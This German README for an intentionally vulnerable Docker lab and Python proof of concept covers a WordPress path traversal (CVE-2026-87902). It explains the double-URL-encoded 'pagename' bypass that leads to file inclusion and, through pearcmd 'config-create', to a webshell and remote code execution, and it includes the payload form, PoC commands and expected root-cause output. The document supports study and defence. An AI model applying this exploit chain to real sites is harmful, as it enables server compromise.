
Vulnerables Lab (Docker) + Python-PoC für CVE-2026-87902 — nicht authentifizierter Path Traversal im WordPress Core (page-template -> LFI -> bedingte RCE). Bildungs-/autorisiertes Nutzung.
Lab absichtlich verwundbar + PoC in Python für die CVE-2026-87902: nicht authentifizierter Path Traversal bei der Auflösung von page template im WordPress Core, was zu Local File Inclusion (LFI) und bedingter RCE führt.
| Feld | Wert |
|---|---|
| Produkt | WordPress Core |
| Betroffene Versionen | 4.7.0 → 7.1.1 |
| Korrektur | 7.1.2 (Backport bis 4.7.37) |
| Typ | Path Traversal (CWE-22) → LFI → bedingte RCE |
| Authentifizierung | Keine (nicht authentifiziert) |
| CVSS 4.0 | 9.2 (Kritisch) |
| Veröffentlichung | 2026-09-23 |
⚠️ Rechtlicher / ethischer Hinweis. Das gesamte Material hier dient dem Studium in einer lokalen und autorisierten Umgebung. Das Lab ist ein absichtlich unsicheres Docker-Image — setze es nicht dem Internet aus. Das
exploit.pyhat absichtlichhttp://localhost:8091als Standardziel. Das Ausführen des PoC gegen irgendein System ohne ausdrückliche schriftliche Genehmigung ist eine Straftat. Du bist allein für die Nutzung verantwortlich.
EXPLOIT-CVE-2026-87902/
├── README.md # diese Datei
├── docker-compose.yml # startet das Lab auf localhost:8091
├── lab/
│ ├── Dockerfile # php:8.2-apache + PEAR + register_argc_argv=On
│ ├── config/zz-lab.ini # Umgebungsvoraussetzungen für RCE
│ └── src/ # "WordPress mini", das den verwundbaren Abschnitt reproduziert
│ ├── index.php # Front Controller (≈ template-loader.php)
│ ├── wp-mini.php # verwundbare get_page_template()/locate_template()/...
│ ├── private/
│ │ └── secret-config.php # .php-Ziel außerhalb des Themes (LFI-Beweis)
│ └── wp-content/themes/twentytwelve-mini/
│ ├── style.css
│ ├── index.php
│ └── page-templates/ # "page-*"-Verzeichnis, das für die Traversierung erforderlich ist
│ └── full-width.php
└── exploit/
├── exploit.py # PoC (pt-BR): LFI + RCE-Kette über pearcmd
└── requirements.txt
Voraussetzungen: Docker + Docker Compose und Python 3 mit requests.
# 1) Lab starten (läuft auf http://localhost:8091)
docker compose up --build
# 2) In einem anderen Terminal die PoC-Abhängigkeit installieren und ausführen
cd exploit
pip install -r requirements.txt
python3 exploit.py # führt LFI + RCE gegen das lokale Lab aus
# Nützliche Optionen
python3 exploit.py --mode lfi # nur der LFI-Beweis
python3 exploit.py --mode rce --cmd 'uname -a'
python3 exploit.py --target http://localhost:8091
# 3) Lab herunterfahren
docker compose down
Erwartete Ausgabe (Zusammenfassung):
[LFI] Sucesso! Arquivo externo incluído -> SEGREDO_DO_LAB{lfi_via_page_template_traversal}
[RCE] Comando executado no servidor:
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
FLAG{cve_2026_87902_rce_no_wordpress_mini}
------------------------------------------------------------
In get_page_template() wird der Wert der öffentlichen Query-Variable
pagename verwendet, um den Namen des Templates zusammenzusetzen. Der Core
validiert den rohen Wert mit validate_file() (was literale ..
blockiert), dekodiert den Wert danach jedoch einmal und verwendet das
Ergebnis als Template-Kandidat ohne erneute Validierung
(getreue Reproduktion in wp-mini.php):
if ($pagename !== '' && 0 === validate_file($pagename)) {
$templates[] = "page-{$pagename}.php"; // valor cru (ainda encodado)
$pagename_decoded = urldecode($pagename); // <-- 2ª decodificação
if ($pagename_decoded !== $pagename) {
$templates[] = "page-{$pagename_decoded}.php"; // travessia reintroduzida
}
}
Der Locator verkettet dann Theme + "/" + Template und inkludiert die
erste Datei, die existiert, ohne realpath() oder Prüfung, ob das Ergebnis
weiterhin innerhalb des Theme-Verzeichnisses liegt.
Der Angreifer sendet pagename doppelt kodiert:
Wert auf dem Draht (POST body): templates%252f%252e%252e%252f...%252fpearcmd
1. Dekodierung (HTTP): templates%2f%2e%2e%2f...%2fpearcmd <- kein literales '..' => passiert validate_file()
2. Dekodierung (Core): templates/../../.../pearcmd <- echte Traversierung
Da der Locator page- voranstellt, wird der Pfad zu
page-templates/../../.../pearcmd.php. Dies löst außerhalb des Themes auf.
page- beginnt (hier
page-templates/). Dies ist der eigentliche Ausgangspunkt der Traversierung:
Unter Linux muss jede Pfadkomponente existieren, damit die ../ aufgelöst
werden können. Legacy-Themes (Twenty Twelve/Fourteen) und populäre Themes
(Neve, Hestia, Sydney) erfüllen dies.register_argc_argv = On in PHP → $_SERVER['argv'] wird aus der
Query-String befüllt.pearcmd.php lesbar auf dem Server (das offizielle Image
php:8.2-apache bringt es bereits unter /usr/local/lib/php/pearcmd.php im
Standard-include_path mit).Da der Locator .php anhängt, erreicht die LFI nur .php-Dateien. Deshalb
verkettet der praktische RCE-Weg mit pearcmd.php:
pearcmd.php inkludieren und über die Query-String (=argv)
config-create übergeben, um eine .php-Webshell in /tmp zu schreiben./tmp/<webshell>.php über eine neue Traversierung
inkludieren → das PHP des Angreifers wird ausgeführt.Der Patch behandelt den Wert von pagename konsistent: Er validiert nach
jeder Dekodierung (oder lehnt Eingaben mit kodierten Traversierungssequenzen
ab) und erzwingt fortan die Verzeichnisgrenze bei der Auflösung des
Templates (der endgültige Pfad muss innerhalb des Themes bleiben). Ergebnis:
Der doppelt kodierte Wert überlebt nicht mehr bis zum include.
Mitigationen: Aktualisieren auf ≥ 7.1.2; und als Defense in Depth
register_argc_argv = Off, pearcmd.php entfernen/einschränken und eine WAF,
die kodierte ../ (%2e%2e%2f, %252e...) in Anfragen erkennt.
../
(%2e%2e%2f, %252e%252e%252f) in den Parametern.pagename), insbesondere in Kombination mit Query-Strings, die
config-create / Verweise auf pearcmd enthalten..php-Dateien in /tmp, gefolgt von deren
Inklusion.